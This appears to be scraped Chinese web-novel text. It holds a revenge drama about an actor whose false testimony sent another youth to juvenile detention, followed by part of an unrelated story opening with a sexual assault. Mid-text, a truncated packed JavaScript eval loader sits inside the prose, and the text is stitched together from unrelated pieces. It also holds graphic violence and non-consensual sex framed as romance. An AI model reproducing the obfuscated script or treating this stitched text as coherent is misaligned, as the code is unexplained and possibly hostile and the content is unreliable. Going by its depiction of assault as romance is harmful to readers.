“小畜生!”陈彪暴怒,抡起铁管就砸!黑衣少年极其敏捷地侧身躲过,铁管砸在面包车引擎盖上,发出刺耳的巨响。他反手将板砖掷向陈彪面门,趁着对方格挡的空隙,一把拉开面包车副驾的门,对着吓傻的王姐低吼:“走啊!” 他的声音带着少年人变声期特有的沙哑,却有种不顾一切的狠劲。 王姐如梦初醒,连滚爬爬地往后座钻。黑衣少年转身想去拉开驾驶座的门救司机,陈彪的铁管却已带着风声再次袭来!少年躲闪不及,铁管重重砸在他的左臂上,骨头碎裂的声音清晰可闻! “呃啊——!”少年发出一声压抑的痛吼,身体踉跄着撞在车门上。 混乱中,沈淮之终于推开了后车门,冰冷的雨水瞬间将他浇透。他看到那黑衣少年忍着剧痛,右手不知从哪里摸出一把折叠小刀,刀锋在昏黄的路灯下闪过一道寒光,猛地刺向陈彪的大腿! 陈彪惨叫着捂住鲜血喷涌的大腿,凶性彻底被激发,抡起铁管疯狂地砸向少年。少年凭借本能翻滚躲避,动作因左臂的重伤而变形,狼狈不堪。雨水、泥浆和鲜血混合在一起,糊满了他的连帽衫。 “警察!都不许动!”刺耳的警笛声由远及近,红蓝光芒刺破雨幕。 沈淮之浑身湿透地站在泥水里,看着警察迅速控制住陈彪和他的同伙,看着医护人员将生死不明的摩托车骑手抬上担架。王姐不知何时已经下了车,正对着几个最先赶到的本地小报记者激动地比划着,指着靠在面包车旁、因剧痛而蜷缩喘息的黑衣少年: “就是他!就是他!那个小流氓!他们一伙的!想杀我们灭口!多亏了我们淮之勇敢,下车想救人,才拖住了他们!” 闪光灯“咔嚓咔嚓”亮起,对准了泥泞中狼狈不堪、手臂明显变形的黑衣少年,也扫过一旁脸色苍白、浑身湿透、看起来惊魂未定的沈淮之。 “不……不是……”黑衣少年艰难地抬起头,试图辩解,雨水冲刷着他帽檐下的脸。沈淮之第一次看清了他的眼睛——那是一双极其漂亮的、带着野性的眼睛,此刻却盛满了错愕、愤怒和受伤,像只被陷阱夹住、又被污蔑偷猎的孤狼。他死死地盯着王姐,又看向沈淮之,眼神像烧红的烙铁。 “是他……他先动的手……”少年忍着剧痛,指向被铐上警车的陈彪,“他们撞死了人……” “放屁!”陈彪啐出一口血沫,眼神怨毒,“警察同志!这小子是镇上有名的刺头!就是他捅的我!他想抢钱!那骑摩托车的也是他同伙!” “对对对!”王姐立刻帮腔,指着少年手里的折叠刀,“凶器还在他手上呢!我们淮之可以作证!他亲眼看见这小子行凶!” 所有的目光瞬间聚焦在沈淮之身上。雨水顺着他的头发流进眼睛,又冷又涩。他看着那个黑衣少年被两个警察粗暴地按住受伤的手臂,少年痛得闷哼一声,额头青筋暴起,那双漂亮的眼睛死死地、带着最后一丝难以置信的期望,钉在他脸上。 王姐在背后用力掐了一下沈淮之的腰,用只有两人能听到的声音急促地说:“想想你的前途!签约!出道!这是天赐良机!一个混混而已!” 前途……签约……摆脱这泥沼般的生活…… 沈淮之的喉咙像是被冰冷的铁块堵住。他避开少年那双灼人的眼睛,低下头,看着自己沾满泥水的廉价球鞋,嘴唇翕动了几下,最终在警察严厉的询问目光下,极其轻微地点了一下头。 “是……是他先动手……想抢钱……”声音微弱得几乎被雨声淹没。 少年眼中的光,瞬间熄灭了。只剩下冰冷的、沉沉的死寂,和一种刻入骨髓的恨意。他不再挣扎,任由警察给他戴上手铐,像拖一袋垃圾一样将他塞进警车。临上车前,他最后看了一眼沈淮之,那眼神空洞得可怕,仿佛在看一个死人。 “好样的!小沈!”记者们兴奋地围上来,话筒几乎怼到沈淮之脸上,“见义勇为,勇斗歹徒!真是年轻人的榜样!” 闪光灯再次亮成一片。沈淮之站在聚光灯下,浑身冰冷,耳边是王姐激动地接受采访的声音,眼前却只剩下警车后窗里,那个少年最后死寂的眼神,和他被粗暴拉扯时,左臂不自然扭曲的角度。 那晚之后,“大学生沈淮之清水镇勇斗持刀歹徒,救下被撞路人”的新闻铺天盖地。配图是他浑身湿透、脸色苍白却眼神“坚毅”(实则是惊魂未定)的现场照片,以及陈彪大腿上包扎的伤口特写。至于那个同样浑身是伤、被定性为“同伙斗殴”的黑衣少年,只在新闻不起眼的角落提了一句“另有一名涉案未成年被控制”,连名字都没有。 沈淮之踩着这波“见义勇为”的热度,顺利签入了王姐所在的大公司,拿到了第一个像样的角色。清水镇那个混乱血腥的雨夜,被他刻意封存,连同那个少年最后死寂的眼神,一起锁进了记忆最阴暗的角落。 他从未去打听那个少年的结局,仿佛不去触碰,那伤口就不会存在。只是在无数个被镁光灯灼烧的夜晚,那道死寂的目光总会毫无预兆地刺入梦境,惊醒后,心口那道被陈彪手下慌乱中划破的旧疤,总会隐隐作痛。 此刻。房车外。寒夜。 “……少管所?”周惊时的声音嘶哑,每一个字都像是从破碎的胸腔里挤出来的,带着浓重的血腥气。他钳制着沈淮之的手腕,力道大得几乎要捏碎他的骨头,将他死死钉在冰冷的车壁上,滚烫的胸膛剧烈起伏,撞在沈淮之冰凉赤裸的皮肤上。 “对,少管所。”周惊时喉咙里发出一声破碎的、类似野兽受伤后的呜咽,随即又被滔天的恨意淹没,“陈彪的刀只划破了你一层油皮,让你成了英雄!我呢?”他猛地扯开自己黑色背心的左肩肩带! 一道狰狞的、长达十几公分的陈旧疤痕暴露在冰冷的月光下!那疤痕扭曲虬结,像一条丑陋的蜈蚣,爬在他紧实有力的三角肌上,一直延伸到肩胛骨下方。疤痕周围还有几处颜色稍浅的圆点印记——是贯穿伤留下的痕迹。 “少管所里,陈彪的兄弟‘照顾’我的!”周惊时赤红着眼睛,手指狠狠戳在自己肩头那道最深的疤痕上,仿佛要将它再次撕裂,“铁钎!烧红的!就因为我‘害’他们老大坐牢!因为你这个‘英雄’的证词!”他的声音因极致的痛苦和愤怒而扭曲变形,“我的左手差点废了!我他妈在里面躺了三个月!像条野狗一样等死的时候,沈老师,你在哪里?你在聚光灯下领你的‘见义勇为’奖状!在铺你金光闪闪的星途!” 沈淮之浑身剧烈地颤抖起来,像一片寒风中的枯叶。他看着那道狰狞的旧疤,胃里翻江倒海,冰冷的恶心感直冲喉咙。他仿佛能闻到少管所潮湿发霉的空气里混杂的血腥和铁锈味,能听到黑暗中痛苦的喘息和施虐者残忍的狞笑。周惊时眼中那焚天的恨意,像滚烫的岩浆,将他自以为尘封的罪孽彻底灼烧出来,暴露在冰冷的空气里,无所遁形。 “我……”沈淮之张了张嘴,喉咙像是被砂纸磨过,只能发出嗬嗬的气音。他想说“我不知道”,想说“对不起”,可每一个字都显得那么苍白可笑。在那样深重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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周惊时眼神一凛,钳制沈淮之的手瞬间松开。他猛地将沈淮之散开的浴袍前襟拉拢,动作粗暴却带着一种奇异的保护意味。他迅速退开一步,脸上那种焚天的恨意和疯狂如同潮水般褪去,快得惊人,瞬间又覆上了一层冰冷坚硬的、属于“演员周惊时”的面具。 沈淮之失去支撑,顺着冰冷的车壁滑坐在地,浴袍凌乱地堆在腰间,露出赤裸的、布满伤痕和旧疤的胸膛。他蜷缩着,手指死死抠住冰冷的地板,指甲几乎翻折,身体抖得像风中的残烛。门外疯狂的闪光灯和叫嚣声如同实质的鞭子抽打在他身上,而周惊时那道冰冷审视的目光,比任何闪光灯都更让他感到无所遁形的羞耻和绝望。 周惊时居高临下地看着他,眼神复杂难辨,厌恶、快意、还有一丝连他自己都未曾察觉的……扭曲的怜惜?他弯腰,捡起掉落在沈淮之脚边的那个银色Zippo打火机,“咔哒”一声脆响,幽蓝的火苗在他指间跳跃,映着他线条冷硬的下颌和眼底深不见底的寒潭。 “听到了吗?沈老师。”周惊时用打火机的金属外壳,冰凉的,带着他体温的,轻轻拍了拍沈淮之惨白的脸颊,声音压得极低,如同恶魔的低语,“游戏,才刚刚开始。” 他直起身,不再看地上狼狈不堪的人,猛地拉开了房车门! 刺目的闪光灯瞬间如同海啸般涌了进来!无数的镜头和话筒争先恐后地怼到门口! “周惊时先生!您怎么会在沈老师房里?” “你们刚才在争执什么?” “沈老师脖子上的伤是不是您造成的?” “清水镇的旧案……” 周惊时高大的身躯堵在门口,像一堵无法逾越的墙,挡住了大部分窥探的视线。他脸上挂着一种近乎残忍的、玩世不恭的冷笑,抬手理了理自己凌乱的衣领,动作从容不迫。 “争执?”他挑眉,声音透过嘈杂清晰地传出去,“我和沈老师在对明天的重头戏。至于伤?”他嗤笑一声,眼神扫过地上蜷缩的沈淮之,带着毫不掩饰的嘲弄,“沈老师敬业,自己摔的。清水镇?”他顿了顿,笑容加深,带着一种令人毛骨悚然的暧昧,“那是我和沈老师的……秘密。” 他不再理会炸开锅的记者,拨开人群,大步流星地走进冰冷的夜色里,黑色的机车夹克很快融入黑暗,只留下身后一片疯狂的闪光和更加汹涌的猜测。 沈淮之蜷缩在冰冷的地板上,门外刺目的白光和喧嚣如同地狱的入口。周惊时最后那句“秘密”像淬毒的冰锥,狠狠扎进他千疮百孔的心脏。他颤抖着手,摸向散落在浴袍口袋边的几颗翠绿色薄荷糖。指尖冰凉僵硬,剥开糖纸的动作笨拙而艰难。 他将那颗冰冷的薄荷糖塞进嘴里,试图用那尖锐的清凉压下喉头的腥甜和灭顶的绝望。 可这一次,连薄荷糖都失效了。 只有周惊时身上那股混杂着烟草、酒精和血腥的、如同烙印般的气息,牢牢地缠绕着他,伴随着门外记者们兴奋的、如同秃鹫般的叫嚷,一遍遍在他耳边回响: “沈老师!请回应!” “沈老师!请回应!” “沈老师……” “沈淮之颈部惊现暧昧齿痕,周惊时深夜同处一室!” “清水镇旧案反转?知情人爆‘见义勇为’另有隐情!” “双顶流片场水火不容,疑因三年前恩怨反目!” 热搜词条像滚烫的烙铁,一条条砸在沈淮之的手机屏幕上,每一个字都灼烧着他的视网膜。他蜷缩在酒店套房厚重的窗帘后面,房间里没开灯,只有手机屏幕幽蓝的光映着他惨白的脸和眼底深重的青黑。门铃和座机电话已经响了一整天,王姐在客厅焦头烂额地应付着媒体和公司高层的轮番轰炸,声音透过门板传来,带着一种濒临崩溃的尖锐。 “……都是污蔑!恶意剪辑!……对,周惊时先生是在对戏!……伤痕?那是拍戏时不小心……什么?泳池派对?我们淮之身体不适,不参加!……” 泳池派对。 沈淮之的指尖掐进掌心。这是剧组的传统,临近杀青时在制片人包下的度假村泳池边搞个小型庆功宴,半公开性质,少不了媒体镜头。周惊时昨天在片场“随口”提了一句,眼神却像淬了毒的钩子,直直钉在他身上。 “沈老师不会不敢来吧?”他当时笑着说,手指状似无意地划过自己肩头那道被背心肩带半遮半掩的狰狞旧疤,“听说今晚水温不错,正好……洗洗晦气。” 那眼神,那话语,分明是战书。 王姐最终没能顶住压力。制片方和投资人都希望借此机会“澄清谣言”,展现剧组“和谐”。沈淮之被半强迫地塞进车里,像个即将押赴刑场的囚徒。 * 度假村的无边泳池在夜色中如同一块巨大的、流动的蓝宝石。水波荡漾,倒映着岸边的串灯和泳池边衣香鬓影的人群。音乐声舒缓,香槟塔折射着迷离的光,穿着清凉的演员、工作人员和获准进入的几家媒体记者三三两两聚在一起,谈笑风生,营造出一种虚假的浮华热闹。 沈淮之的出现像一块冰投入沸水。 所有的目光瞬间聚焦过来,带着毫不掩饰的探究、兴奋和幸灾乐祸。窃窃私语如同无数细小的毒蛇,嘶嘶地缠绕上来。他穿着简单的白色亚麻衬衫和长裤,扣子严严实实扣到领口最高一颗,试图遮住颈侧那枚虽然淡了些却依旧明显的齿痕。可这欲盖弥彰的遮挡,在无数双锐利的眼睛下,反而成了最显眼的标记。 他感到一种近乎赤裸的羞耻,仿佛全身的伤疤都被扒开,暴露在聚光灯下供人评头论足。他下意识地去摸口袋里的薄荷糖罐,指尖却只触到冰凉的手机外壳——糖罐被王姐强行收走了,怕他在镜头前失态。 “淮之!这边!”导演在不远处招手,笑容满面,眼神却带着不容拒绝的催促。 沈淮之深吸一口气,挺直脊背,努力维持着“沈老师”的疏离清冷,朝着人群走去。每一步都像踩在刀尖上。他能感觉到那些镜头如同贪婪的鬣狗,紧紧追随着他,捕捉他任何一丝细微的僵硬或失态。 “沈老师,身体好点了吗?”一个女记者举着录音笔挤过来,笑容甜美,问题却像刀子,“听说您昨晚和周惊时先生在对戏时发生了点‘小摩擦’?您脖子上的伤……” “拍打戏难免。”沈淮之打断她,声音平静,眼神却像结了冰的湖面,没有丝毫温度,“意外而已。”他不再停留,径直走向导演和制片人所在的核心圈子。 周惊时就在那里。 他斜倚在泳池边的白色躺椅上,只穿着一条黑色泳裤,古铜色的皮肤在灯光下泛着健康的光泽,肌肉线条流畅而充满力量感。他手里端着一杯香槟,正和制片人谈笑风生,姿态慵懒而放松,仿佛昨夜房车外那场充满恨意的对峙从未发生。 看到沈淮之走近,他漫不经心地掀起眼皮,目光像带着倒刺的软鞭,慢悠悠地扫过他扣得严严实实的领口,嘴角勾起一抹若有似无的、极其恶劣的弧度。 “沈老师来了?”他晃了晃杯中的香槟,气泡升腾,“还以为你被昨晚的‘小意外’吓破胆,不敢下水了呢。” 周围瞬间安静了几秒。制片人尴尬地咳嗽一声,导演连忙打圆场:“惊时你又说笑!淮之,来来,喝一杯,放松放松!” 沈淮之接过侍者递来的香槟,指尖冰凉。他避开周惊时的视线,目光落在波光粼粼的泳池水面。水下仿佛潜藏着无数双眼睛,在窥视着他的狼狈和不堪。 “周老师身材真好!”一个大胆的女演员笑着恭维,目光在周惊时健硕的胸肌和腹肌上流连,“平时一定没少练吧?” 周惊时低笑一声,随意地活动了一下肩膀,这个动作让他左肩那道狰狞的、如同蜈蚣般盘踞的旧疤彻底暴露在明亮的灯光下!疤痕扭曲虬结,周围浅色的圆点贯穿伤痕迹清晰可见,与他充满力量感的身体形成一种惊心动魄的残酷对比。 “陈年旧伤,不值一提。”周惊时说得轻描淡写,眼神却像淬了毒的针,精准地刺向沈淮之瞬间惨白的脸。 周围的空气凝固了。所有人都看到了那道疤,也看到了沈淮之骤变的脸色。记者们的镜头如同嗅到血腥味的鲨鱼,无声地对准了那道疤,快门声细微而密集地响起。那道疤,像一道无声的控诉,在浮华的派对现场,撕开了所有粉饰的太平。 “哇……这疤……”女演员倒吸一口凉气,随即意识到失言,讪讪闭嘴。 “看着真吓人,怎么弄的呀?”另一个不知情的剧组新人好奇地问。 周惊时没说话,只是仰头将杯中的香槟一饮而尽,喉结滚动。他放下杯子,目光越过人群,再次锁定沈淮之,带着一种赤裸裸的、近乎残忍的挑衅。 沈淮之握着香槟杯的手指关节用力到泛白,冰凉的液体在杯中微微晃动。他感到呼吸困难,那道疤像活了过来,在他眼前扭曲放大,散发出铁锈、消毒水和绝望的气息。他想逃,双脚却像被钉在原地。 “没什么,”周惊时终于开口,声音不大,却清晰地传入每个人耳中,“年少无知,跟人打架,被捅了几刀,差点死了。”他顿了顿,目光像冰冷的探照灯,直射沈淮之,“幸好命硬,活下来了。沈老师,你说是不是?” “砰!” 沈淮之手中的香槟杯脱手坠落,砸在光洁的瓷砖地面上,碎裂开来,金色的酒液和玻璃碎片四溅。清脆的碎裂声在瞬间寂静下来的泳池边显得格外刺耳。 所有的目光,包括那些贪婪的镜头,瞬间从周惊时的疤痕转移到了沈淮之身上。他站在那里,脸色白得像纸,嘴唇微微颤抖,看着地上的狼藉,像一个做错事被当众抓住的孩子,那层清冷疏离的“沈老师”面具,在这一刻彻底碎裂,露出底下仓皇失措的内里。 “抱歉……手滑。”他听到自己干涩的声音,像砂纸摩擦。 “沈老师最近状态不太对啊?”人群中不知谁小声嘀咕了一句。 “就是,一惊一乍的……” “看来清水镇那事儿对他影响不小……” 窃窃私语如同冰冷的潮水,再次将他淹没。 周惊时看着他的狼狈,眼中闪过一丝冰冷的快意,随即又被更深沉的、连他自己都未曾察觉的复杂情绪覆盖。他站起身,高大挺拔的身躯带着无形的压迫感,一步步走向沈淮之。 “沈老师受惊了?”他在沈淮之面前站定,距离近得能闻到他身上淡淡的须后水味和……一丝恐惧的味道。周惊时弯腰,从旁边的侍应生托盘里重新拿过一杯香槟,递到沈淮之面前,动作优雅,眼神却像盯着猎物的毒蛇。 “压压惊?”他声音低沉,带着蛊惑的意味,目光却意有所指地扫过沈淮之严严实实的领口。 沈淮之看着那杯晃动的金色液体,仿佛看到了毒药。他下意识地后退一步,却被泳池边缘挡住。 “不……不用了。”他声音艰涩。 “怎么?”周惊时挑眉,嘴角的恶劣笑意加深,“怕我在酒里下毒?”他忽然凑近,用只有两人能听到的气音,带着浓烈的烟草味和酒气喷在沈淮之耳廓,“放心,让你身败名裂的方法……我有很多种,不需要这么低级。” 沈淮之的瞳孔骤然收缩,身体猛地一颤。 就在这时,一个举着自拍杆的网红主播为了抢角度,脚下高跟鞋一崴,整个人惊呼着朝泳池边缘倒去!混乱中,她的手肘狠狠撞在沈淮之后背上! 沈淮之本就站在泳池边缘,心神激荡之下猝不及防,身体瞬间失去平衡! “啊——!” 在众人的惊呼声中,他整个人仰面朝后栽进了冰冷的泳池! 巨大的水花溅起! 冰冷刺骨的池水瞬间将他吞没!厚重的白色亚麻衬衫遇水变得如同铅块,紧紧裹缠着他的身体,疯狂地将他向下拖拽!沈淮之惊慌失措地挣扎,口鼻瞬间呛入冰冷的水,窒息的痛苦像一只巨手扼住了他的喉咙!眼前是晃动模糊的蓝色水光和扭曲的人影,耳边是沉闷的水流轰鸣和岸上传来的模糊惊呼。 水……冰冷……黑暗…… 清水镇那个混乱血腥的雨夜,被陈彪手下按在泥水里的窒息感……少管所里潮湿发霉的禁闭室……周惊时在寒潭底那双冰冷审判的眼睛……无数破碎而恐怖的画面伴随着窒息的痛苦,如同海啸般冲击着他的大脑! 他像一只被拖入深渊的困兽,徒劳地扑腾着四肢,意识在冰冷的绝望和混乱的记忆碎片中迅速沉沦。肺部火烧火燎,眼前阵阵发黑…… 岸上乱作一团。有人尖叫,有人喊救人。王姐吓得面无人色。记者们的镜头疯狂地对准水下沉浮挣扎的人影,闪光灯在水面上投下诡异的光斑。 导演急得跳脚:“谁会水?!快下去救人啊!” 就在这混乱的顶点,一道黑色的身影如同矫健的猎豹,猛地分开人群,毫不犹豫地纵身跃入泳池! 是周惊时! 他入水的动作干净利落,像一柄劈开波浪的利刃,迅速朝着沉浮挣扎的沈淮之游去。水下的光线昏暗扭曲,沈淮之的白衬衫像水母般散开,他紧闭着眼,脸色青白,挣扎的动作已经变得微弱无力,身体正不受控制地下沉。 周惊时一把抓住他的手臂,那触感冰冷僵硬得吓人。他用力将人拽向自己,另一只手托住沈淮之的后颈,将他带出水面! “哗啦——!” 两人破水而出! 新鲜的空气涌入肺腑,沈淮之剧烈地咳嗽起来,咳得撕心裂肺,冰冷的池水混杂着生理性的泪水从口鼻中涌出。他浑身湿透,狼狈不堪地攀附着周惊时的手臂,像抓住唯一的浮木。 岸上瞬间爆发出更大的喧哗!闪光灯亮如白昼,疯狂地捕捉着这极具戏剧性的一幕:浑身湿透的周惊时紧紧抱着同样湿透、在他怀里咳得浑身颤抖的沈淮之!水珠顺着两人紧贴的身体滑落,在灯光下闪烁。 “周惊时跳下去救人了!” “快拍!大新闻!” “天啊这画面……” 周惊时根本无视岸上的喧嚣和镜头。他半抱着沈淮之,迅速游到泳池边缘。岸上的人七手八脚地将他们拉了上去。沈淮之瘫软在冰冷的瓷砖地面上,蜷缩着身体,咳得停不下来,每一次咳嗽都牵动着五脏六腑,像是要把灵魂都咳出来。湿透的白色衬衫紧紧贴在身上,半透明的布料下,胸腹间那些新鲜的青紫淤痕、被碎石划破的细小伤口……以及心口下方那道寸许长的、颜色浅淡却轮廓清晰的旧疤,全都暴露在刺眼的灯光和无数贪婪的镜头下! “天!沈老师身上好多伤!” “快看胸口那道疤!” “高清!拍特写!” 记者们像打了鸡血,镜头几乎要怼到沈淮之身上。王姐尖叫着扑过来,试图用浴巾盖住他,却被混乱的人群挤开。 沈淮之在剧烈的咳嗽和灭顶的羞耻感中几乎昏厥。他试图蜷缩起来,试图遮掩,却虚弱得连手指都抬不起来。闪光灯的白光像无数根钢针,狠狠扎进他暴露在外的每一寸皮肤,每一道伤痕。他感觉自己像被剥光了钉在耻辱柱上,供所有人围观、品评、唾弃。 就在这时,一件带着体温的、干燥的黑色外套猛地兜头罩了下来!彻底隔绝了刺目的闪光灯和那些贪婪窥探的视线! 是周惊时! 他刚被人拉上来,水珠还在顺着精悍的肌肉线条往下淌。他毫不犹豫地脱下自己那件唯一干燥的机车外套,粗暴却严实地盖在了沈淮之头上和身上!带着他强烈体温和独特气息(烟草、汗水和须后水)的外套,像一个小小的、与世隔绝的堡垒。 外套下的世界瞬间变得黑暗而安静,只剩下自己急促的心跳和喘息,以及布料上残留的、属于周惊时的强烈气息。那气息霸道地钻进鼻腔,奇异般地稍稍压下了灭顶的窒息感和羞耻感。 “都他妈滚开!”周惊时冰冷暴戾的声音在头顶炸开,带着一种令人胆寒的威慑力,瞬间压下了周围的嘈杂和快门声,“谁再拍,我砸了他的机器!” 记者们被这突如其来的暴怒震慑,下意识地后退了几步。 周惊时不再理会他们,弯腰,隔着那件宽大的外套,一把将蜷缩在地上、像受伤小兽般颤抖的沈淮之打横抱了起来!动作带着不容抗拒的蛮横,手臂却稳稳地托着他的背脊和膝弯。 沈淮之的身体瞬间僵直,隔着潮湿的衬衫和干燥的外套,他能清晰地感受到周惊时手臂肌肉贲张的线条和滚烫的体温。那温度透过湿冷的衣物,灼烧着他冰冷的皮肤,带来一种近乎疼痛的刺激。 “放……开……”沈淮之在外套下发出微弱而沙哑的抗拒。 周惊时充耳不闻。他抱着他,像抱着一个没有生命的物件,大步流星地穿过鸦雀无声的人群。水珠从两人身上滴落,在光洁的地板上留下蜿蜒的水痕。他径直走向最近的VIP休息室,一脚踹开门,抱着沈淮之走了进去,反手“砰”地一声巨响关上了门! 将所有的喧嚣、窥探和闪光灯,彻底隔绝在外。 * 休息室里只开了一盏昏暗的壁灯。 周惊时将沈淮之放在柔软的长沙发上,动作算不上温柔,但也没有之前的粗暴。他直起身,居高临下地看着沙发上被黑色外套完全覆盖的人形轮廓。外套下的身体还在细微地颤抖,像一片风中的落叶。 他沉默地站了几秒,呼吸有些粗重,不知是因为刚才的剧烈运动,还是别的什么。水滴顺着他利落的发梢滴落,砸在地毯上,洇开一小片深色。 最终,他什么也没说,转身走向休息室角落的小吧台,拿起一瓶未开封的矿泉水,拧开,仰头灌了几口。冰冷的液体滑过喉咙,却浇不灭心头那股无名火。他烦躁地将水瓶重重顿在吧台上,发出沉闷的声响。 外套下的沈淮之被这声响惊得一颤。 周惊时猛地回头,眼神锐利如刀。 他大步走回沙发边,没有丝毫犹豫,一把掀开了盖在沈淮之头上的黑色外套! 骤然的光线让沈淮之不适地眯起眼,下意识地想要蜷缩。湿透的白衬衫紧贴在他身上,勾勒出单薄而脆弱的身体线条,胸腹间的伤痕和那道旧疤在昏暗的光线下依旧刺眼。他的头发湿漉漉地贴在苍白的脸颊上,嘴唇失去了血色,微微颤抖着。那双总是清冷平静的眼睛,此刻蒙着一层脆弱的水汽,像受惊的鹿,带着茫然和残余的恐惧,惶然地看向他。 没有了外套的隔绝,没有了闪光灯的围剿,在这狭小、昏暗、只有他们两个人的空间里,沈淮之所有强撑的伪装和防御都彻底崩塌了。只剩下一个被冰冷、恐惧和羞耻击垮的灵魂,赤裸裸地暴露在周惊时的视线之下。 周惊时的心脏像是被什么东西狠狠攥了一下,尖锐的疼痛伴随着更深的烦躁席卷而来。他看着沈淮之这副前所未有的脆弱模样,看着他身上那些新旧交叠的伤痕——有他造成的,也有别人造成的,还有那道源于清水镇、将他们命运残忍绑在一起的旧疤。 “看够了吗?”沈淮之的声音嘶哑得不成样子,带着一种破罐破摔的绝望。他试图拉拢敞开的衬衫衣襟,手指却抖得厉害,根本使不上力。 周惊时的目光在他徒劳的动作上停留了一瞬,随即猛地俯下身!一只滚烫的大手带着不容抗拒的力道,重重按在了沈淮之冰冷的、裸露的胸膛上! 掌心正压在那道寸许长的旧疤上! 沈淮之浑身剧震,像被高压电流击中,所有的挣扎瞬间停滞!周惊时掌心的温度像烙铁一样灼烧着那块旧伤的皮肤,一种难以言喻的、混杂着剧痛和诡异麻痒的感觉从疤痕处炸开,瞬间流窜至四肢百骸! “唔……”一声压抑的、带着痛苦和极度惊愕的呜咽从沈淮之喉咙里溢出。 周惊时的手掌死死按着那道疤,指腹甚至能感受到那微微凸起的、不同于周围皮肤的陈旧纹理。他俯视着沈淮之骤然瞪大的、盈满痛苦和难以置信的眼睛,两人的距离近得能看清彼此瞳孔中自己扭曲的倒影。 “疼吗?”周惊时开口,声音低沉沙哑,像砂纸磨过生锈的金属,带着一种压抑到极致的、近乎疯狂的情绪。他的拇指,带着薄茧,极其缓慢地、重重地碾过那道旧疤的凸起边缘,动作狎昵又残忍。 “陈彪的刀……划在这里的时候……”他盯着沈淮之瞬间失血的脸,每一个字都像淬了毒的冰凌,狠狠扎进对方的心脏,“你踩着我的血,对着镜头笑的时候……这里,疼过吗?!” 沈淮之的身体在他的按压和质问下剧烈地颤抖起来,像一张拉到极限的弓。旧疤被反复碾磨带来的尖锐刺痛混杂着灭顶的羞耻和巨大的心理冲击,让他眼前阵阵发黑,几乎窒息。他想推开那只如同烙铁般的手,却使不出一丝力气。 “说话!”周惊时猛地低吼,手上的力道又加重了几分,几乎要将那块皮肤按进骨头里!他的眼底翻涌着赤红的血丝,是恨,是痛,还有一种被逼到绝境的狂怒。 沈淮之被按得闷哼一声,生理性的泪水终于冲破眼眶,混着发梢滴落的水珠,滚烫地滑过冰冷的脸颊。他张着嘴,大口喘息,像一条离水的鱼,却发不出任何辩解的声音。 就在这时,休息室的门被“咚咚咚”地敲响了。 “周老师?沈老师?你们还好吗?王姐让我送干净衣服和毛巾过来!”是剧组工作人员的声音。 门外的人声像一根针,瞬间刺破了这令人窒息的、充满恨意与绝望的紧绷气泡。 周惊时眼底翻涌的疯狂如同潮水般骤然退去,快得惊人,只留下一片深不见底的冰冷寒潭。他猛地抽回了按在沈淮之胸口的手,仿佛那是什么肮脏的东西。 沈淮之失去了支撑,脱力般瘫软在沙发上,胸口那道旧疤火辣辣地疼,上面清晰地印着周惊时手指按压留下的红痕。他蜷缩起身体,剧烈地喘息着,泪水无声地流淌,打湿了沙发绒面。 周惊时直起身,看也没看沙发上的人,走到门边,拉开一条缝,面无表情地接过工作人员递进来的衣物和毛巾,然后“砰”地一声再次关上门。 他将那堆衣物随手扔在沙发旁边的单人椅上,拿起一条干燥的大毛巾,走到沙发前,居高临下地看着蜷缩在那里、像被暴雨打落枝头的花瓣般脆弱颤抖的沈淮之。 然后,他将那条毛巾,像丢弃垃圾一样,扔在了沈淮之湿透的身体上。 毛巾盖住了他赤裸的胸膛,也盖住了那道耻辱的旧疤和新添的红痕。 “穿上,滚出去。”周惊时的声音恢复了惯有的冰冷和漠然,仿佛刚才那个失控的、充满恨意的男人只是幻觉。 说完,他不再停留,转身走向休息室自带的淋浴间,拉上了磨砂玻璃门。很快,里面传来了哗哗的水声。 沈淮之躺在沙发上,□□燥的毛巾覆盖着,身体却感觉不到一丝暖意。淋浴的水声像冰冷的雨,敲打着他残破不堪的神经。他抬起颤抖的手,摸向被周惊时反复碾磨过的旧疤。指尖下的皮肤滚烫肿胀,残留着那人指腹的触感和毁灭性的力量。 他闭上眼,周惊时最后那句冰冷的“穿上,滚出去”在耳边回响,比泳池的水更冷,比记者的镜头更刺骨。 他终究,还是被他亲手推回了那个冰冷的、被所有人围观的深渊。而这一次,连那件带着体温和气息的黑色外套,都成了另一种形式的羞辱。 沈淮之挣扎着坐起身,抓起那件被周惊时丢弃般扔在他身上的干净T恤。布料柔软干燥,却无法温暖他冰冷的身体。他颤抖着,将湿透的、耻辱的白色亚麻衬衫从身上剥下来,像剥下一层带血的皮。每动一下,胸口的旧疤都传来尖锐的刺痛。 磨砂玻璃门内,水声依旧。 沈淮之套上那件宽大的T恤,将自己伤痕累累的身体包裹起来。他扶着沙发站起来,脚步虚浮,像踩在棉花上。他最后看了一眼那扇紧闭的、水汽氤氲的磨砂玻璃门,里面那个模糊晃动的身影,像一头蛰伏在迷雾中的凶兽。 然后,他拉开门,踉跄着,重新走进了那片喧嚣刺眼的、名为现实的深渊。 33. 第 43 章 我叫刘安,一名社畜,因为同事的不当谣言而被那个强势的男人吃干抹净,还利用职务将我困在身边,可是我是个直男啊! “求求你,放了我,我什么都不会说的唔唔!” 下巴被捏住狠狠吻住,眼睛被遮住后那种触感无限放大,泄愤般的吻持续了很久才结束, 我的呼吸还没恢复,对方就凑到我耳边, “为什么!为什么他们可以我却不可以!” 还不等我反应他就将我的双手固定在头顶,肆无忌惮的掠夺, 疼痛感让我害怕恐惧,一个大男人终于哭喊着求饶, “不要!你认错了!我不是你要找的人!我不是!不!!!” 这个过程太过煎熬,最后我都无力哭喊,再醒来时已经在家了,我想当做一场梦,可是这满身的狼狈时刻提醒着我, “病了就好好休息,妈做了粥一会儿吃点” 每个月我妈都会来一回,填满我这小出租屋的冰箱,打扫卫生, “你那个同事叫什么名字?有对象没?小伙子人真不错,背你回来还替你请了假,又照顾了你一晚上,早上我来的时候顶着俩黑眼圈儿,一看就是一晚上没睡” “同事?我,不记得了” “你这孩子!脑子烧坏了?等病好了好好谢谢人家,喏,他还跟我合照了” 照片中的男人即便面容疲惫也无法遮挡的漂亮,那双狐媚眼着实妖艳,还有好看的微笑唇,但即便如此眼神却很冷漠,就像盯着猎物般盯着镜头, 他是谁?为什么慌称是我同事? 我把自己缩在被子里努力不去想,就这样躺了两天后假期到了, 同事看到我调侃道, “哟,这回比之前还玩儿的疯了” 他戳了戳我的脖颈,我拍开他的手, 